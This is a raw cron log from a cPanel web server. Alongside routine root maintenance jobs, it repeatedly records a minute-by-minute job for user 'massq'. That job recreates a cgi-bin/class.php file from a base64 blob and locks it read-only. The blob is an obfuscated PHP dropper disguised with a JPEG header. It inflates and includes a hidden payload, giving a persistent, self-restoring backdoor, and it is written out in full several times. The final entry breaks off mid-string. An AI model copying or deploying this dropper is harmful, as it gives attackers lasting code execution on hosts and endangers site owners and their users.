Sep 10 02:00:01 server CROND[7876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:00:01 server CROND[7880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:00:01 server CROND[7874]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 02:00:01 server CROND[7878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:00:01 server CROND[7875]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 02:00:01 server CROND[7877]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:00:01 server CROND[7873]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep 10 02:01:01 server CROND[8789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:01:01 server CROND[8788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:01:01 server CROND[8790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:01:01 server CROND[8791]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 02:01:01 server run-parts(/etc/cron.hourly)[8791]: starting 0anacron
Sep 10 02:01:01 server anacron[8811]: Anacron started on 2026-09-10
Sep 10 02:01:01 server anacron[8811]: Normal exit (0 jobs run)
Sep 10 02:01:01 server run-parts(/etc/cron.hourly)[8813]: finished 0anacron
Sep 10 02:02:01 server CROND[9192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:02:01 server CROND[9193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:02:01 server CROND[9195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:03:01 server CROND[9574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:03:01 server CROND[9575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:03:01 server CROND[9576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:04:01 server CROND[9946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:04:01 server CROND[9947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:04:01 server CROND[9948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:05:01 server CROND[10490]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:05:01 server CROND[10492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:05:01 server CROND[10498]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 02:05:01 server CROND[10505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:05:01 server CROND[10507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:05:01 server CROND[10503]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:05:01 server CROND[10501]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 02:05:01 server CROND[10504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:05:01 server CROND[10506]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:06:01 server CROND[11343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:06:01 server CROND[11344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:06:01 server CROND[11345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:07:01 server CROND[11721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:07:01 server CROND[11722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:07:01 server CROND[11723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:08:01 server CROND[12105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:08:01 server CROND[12106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:08:01 server CROND[12108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:09:01 server CROND[12517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:09:01 server CROND[12519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:09:01 server CROND[12518]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 02:09:01 server CROND[12520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:10:01 server CROND[13013]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:10:01 server CROND[13014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:10:01 server CROND[13019]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:10:01 server CROND[13020]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:10:01 server CROND[13022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:10:01 server CROND[13024]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:10:01 server CROND[13027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:10:01 server CROND[13029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:11:01 server CROND[13953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:11:01 server CROND[13954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:11:01 server CROND[13955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGV